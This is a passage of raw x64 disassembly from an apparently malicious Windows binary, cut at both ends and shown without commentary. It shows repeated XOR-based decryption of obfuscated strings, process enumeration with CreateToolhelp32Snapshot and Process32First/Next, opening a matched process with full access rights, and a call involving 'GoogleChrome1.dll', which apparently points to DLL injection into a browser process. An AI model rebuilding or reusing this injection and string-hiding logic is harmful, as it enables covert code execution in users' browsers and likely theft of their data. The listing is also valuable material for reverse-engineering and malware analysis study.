paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000b8b0
cmp r8d, 0x27
jge 0x14000ba03
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14000b9d0
cmp byte [r10 + 0x26], 0
je 0x140008593
cmp r15d, 2
jl 0x14000bb63
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000ba50
cmp eax, 0x27
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x27
jl 0x14000bb70
jmp 0x140008593
mov esi, r14d
lea rdx, [rbp + 0x1f20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000bc1e
lea rbx, [0x140014988]
nop word [rax + rax]
mov rax, rbx
lea r8, [rbp + 0x1f4c]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000bbf7
inc rax
test ecx, ecx
jne 0x14000bbe0
test edx, edx
je 0x14000bc18
lea rdx, [rbp + 0x1f20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000bbd0
jmp 0x14000bc1e
mov esi, dword [rbp + 0x1f28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000bfa8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x70], 0
lea rdx, [rbp + 0x9a8]
lea rcx, [rbp - 0x70]
call fcn.14000ea10
mov r10, rax
cmp byte [rax + 0x19], 0
jne 0x14000be03
mov r8d, r14d
cmp r15d, 2
jl 0x14000bdc1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000bcb0
cmp r8d, 0x1a
jge 0x14000be03
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000bdd0
cmp byte [r10 + 0x19], 0
je 0x140008593
cmp r15d, 2
jl 0x14000bf63
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000be50
cmp eax, 0x1a
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x1a
jl 0x14000bf70
jmp 0x140008593
mov rcx, rbx
call fcn.1400031d0
test al, al
jne 0x14000c308
mov byte [rbp - 0x6f], al
lea rdx, [rbp + 0x8c8]
lea rcx, [rbp - 0x6f]
call fcn.14000ea40
mov r10, rax
cmp byte [rax + 0x18], 0
jne 0x14000c163
mov r8d, r14d
cmp r15d, 2
jl 0x14000c123
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000c012
cmp r8d, 0x19
jge 0x14000c163
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14000c130
cmp byte [r10 + 0x18], 0
je 0x1400090a3
cmp r15d, 2
jl 0x14000c2c3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000c1b0
cmp eax, 0x19
jge 0x1400090a3
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x19
jl 0x14000c2d0
jmp 0x1400090a3
lea rdx, str.GoogleChrome1.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
jne 0x14000c690
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp - 0x6e], 0
lea rdx, [rbp + 0xa10]
lea rcx, [rbp - 0x6e]
call fcn.14000ea70
mov r10, rax
cmp byte [rax + 0x21], 0
jne 0x14000c4e3
mov r8d, r14d
cmp r15d, 2
jl 0x14000c4a1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000c390
cmp r8d, 0x22
jge 0x14000c4e3
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14000c4b0
cmp byte [r10 + 0x21], 0
je 0x14000c683
cmp r15d, 2
jl 0x14000c643
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000c530
cmp eax, 0x22
jge 0x14000c683
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x22
jl 0x14000c650
mov rcx, r10
call fcn.140001050
jmp 0x14000859d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x2054]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x2050], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000ca38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x6d], 0
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp - 0x6d]
call fcn.14000e9d0
mov r10, rax
cmp byte [rax + 0x26], 0
jne 0x14000c893
mov r8d, r14d
cmp r15d, 2
jl 0x14000c851
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000c740
cmp r8d, 0x27
jge 0x14000c893
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14000c860
cmp byte [r10 + 0x26], 0
je 0x140008593
cmp r15d, 2
jl 0x14000c9f3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000c8e0
cmp eax, 0x27
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x27
jl 0x14000ca00
jmp 0x140008593
mov esi, r14d
lea rdx, [rbp + 0x2050]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rbx, [0x1400149b0]
test eax, eax
je 0x14000caae
nop word [rax + rax]
mov rax, rbx
lea r8, [rbp + 0x207c]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000ca87
inc rax
test ecx, ecx
jne 0x14000ca70
test edx, edx
je 0x14000caa8
lea rdx, [rbp + 0x2050]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000ca60
jmp 0x14000caae
mov esi, dword [rbp + 0x2058]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x14000ce38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x6c], dil
lea rdx, [rbp + 0x9c8]
lea rcx, [rbp - 0x6c]
call fcn.14000ea10
mov r10, rax
cmp byte [rax + 0x19], dil
jne 0x14000cc93
mov r8d, r14d
cmp r15d, 2
jl 0x14000cc51
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
